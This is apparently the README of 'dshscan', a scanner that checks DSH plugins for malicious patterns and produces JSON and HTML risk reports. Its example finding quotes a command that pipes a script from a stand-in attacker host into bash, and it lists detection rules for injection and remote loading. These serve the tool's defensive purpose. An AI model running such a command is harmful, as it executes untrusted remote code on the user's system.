dshscan

Security scanner for DSH plugins: static and semantic passes over plugin source, DSH-specific attack-surface rules, npm audit, batch scanning, and an HTML report with per-finding severity and evidence.

Demo

Plugin Marketplace

Listed on the dshbase plugin directory:

https://dshbase.com/plugins/shaoshi-dshscan/

Online demo:

https://shaoshi20.github.io/dshscan/

Install as a DSH plugin:

dsh plugin add @shaoshi/dshscan

Rule Subscription (Pro)

The free version in this repository stays MIT and will not be narrowed when Pro ships. Pro is a subscription to maintained attack-surface intelligence:

• New malicious-pattern rules every month (private rule pack)
• Monthly threat brief on newly observed bypass techniques
• Team policy baseline (multi-repo ignore / severity config and exception log)

Pre-order registration (no payment collected yet): https://shaoshi20.github.io/dshscan/pro/

Features

• Input: plugin name / GitHub repo / local directory / zip / Markdown file
• Output: JSON report with risk_score, severity, safe_to_install, recommendation, findings
• Dual-channel scanning:
  • Static rules (fully offline)
  • Optional LLM semantic scan (API key required)
• dshbase integration: reads local index metadata (stars / trust / verified / npm / cmd)
• npm source scanning: automatically runs npm pack and scans real package contents
• Dependency audit: unpinned versions, remote dependency sources, dependency typosquatting, optional --audit via npm audit
• DSH manifest validation: dsh.bundle, cordis.patch.yml, LICENSE, README
• DSH attack-surface rules: R010 plugin tree injection, R011 browser-side malicious code, R012 profile tampering, R013 manifest obfuscation, R014 remote dynamic loading, R015 built-in tool shadowing
• Benchmark suite: built-in malicious/benign cases; dshscan --benchmark reports precision, recall, F1 and per-rule metrics
• Custom rules: --rules <file> loads JSON rules
• Policy files: --policy <file> with ignoreRules / severityOverrides / includeScopes / excludeScopes
• Audit logs: --audit-log <file> writes JSONL records
• Web dashboard: --serve starts a local visual dashboard with risk score trends, findings trends, severity distribution, and automatic scan history in .dshscan-history.json
• HTML reports: --html outputs a standalone HTML report
• Batch scanning: scan many dshbase plugins and export JSON / HTML summary
• Scheduled scans: GitHub Actions daily batch scan

Install & Build

cd path/to/dshscan
npm install
npm run build

After build, run with dshscan.cmd or node dist/main.js.

Usage

# Scan a dshbase plugin by name
dshscan <plugin-name>

# Scan a GitHub repo
dshscan github:owner/repo
dshscan https://github.com/owner/repo

# Scan a local directory / zip / markdown
dshscan /path/to/plugin
dshscan plugin.zip
dshscan README.md

# Offline mode
dshscan <plugin-name> --offline

# LLM semantic scan
dshscan <plugin-name> --semantic

# Output to file / pretty JSON / summary / HTML
dshscan <plugin-name> --output report.json --pretty
dshscan <plugin-name> --summary
dshscan <plugin-name> --html --output report.html

# npm audit
dshscan <plugin-name> --audit

# Custom rules and policy
dshscan <plugin-name> --rules custom-rules.json
dshscan <plugin-name> --policy policy.json --audit-log audit.jsonl

# Local web dashboard
dshscan --serve --port 8787

# Batch scan dshbase plugins
dshscan --batch --limit 50 --index /path/to/dshbase-directory.json --output batch.json --pretty
dshscan --batch --all --offline --output all.json

# Run the benchmark evaluation suite (summary output)
dshscan --benchmark --summary

# Write the full benchmark JSON report
dshscan --benchmark --pretty

# Start the dashboard with trend charts (history in .dshscan-history.json)
dshscan --serve --port 8787

# Use a custom history file for dashboard trends
dshscan --serve --port 8787 --history /path/to/history.json

Environment Variables

JSON Report Format

{
  "tool": "DShScan",
  "version": "0.5.0",
  "target": {
    "kind": "plugin",
    "raw": "some-plugin",
    "displayName": "some-plugin",
    "repoUrl": "https://github.com/owner/some-plugin.git",
    "metadata": {
      "name": "some-plugin",
      "stars": 120,
      "trust": "silver",
      "verified": true,
      "npm": false,
      "cmd": "dsh plugin add github:owner/some-plugin"
    }
  },
  "risk_score": 0,
  "severity": "low",
  "safe_to_install": true,
  "recommendation": "Low risk, safe to install.",
  "findings": [],
  "llm_used": false,
  "scan_mode": "static",
  "scan_note": "Static-only scan; not a full scan.",
  "metadata": {}
}

finding object

{
  "id": "R001",
  "severity": "critical",
  "category": "remote-code-execution",
  "title": "Remote script piped to shell",
  "evidence": "install.sh:12: curl -fsSL https://evil.example/x.sh | bash",
  "recommendation": "Remove remote-pipe-to-shell installers. Vendor the script, pin a checksum, and review before execution.",
  "source": "static",
  "rule": "R001"
}

Severity & Score

safe_to_install is true only when there are no high/critical findings and risk_score < 40.

Static Rules

Tests

npm test

Based on Node's built-in test runner (node --test), covering rule hits/counterexamples, context attenuation, score capping, path classification, and end-to-end malicious fixtures.

Notes

• verified=true only means dshbase CI could install it, not that it passed a security audit.
• Static scanning is offline; fetching GitHub repos or npm packages requires network (use --offline to skip).
• If semantic scan is not enabled, the report marks scan_mode: "static" and "Static-only scan; not a full scan."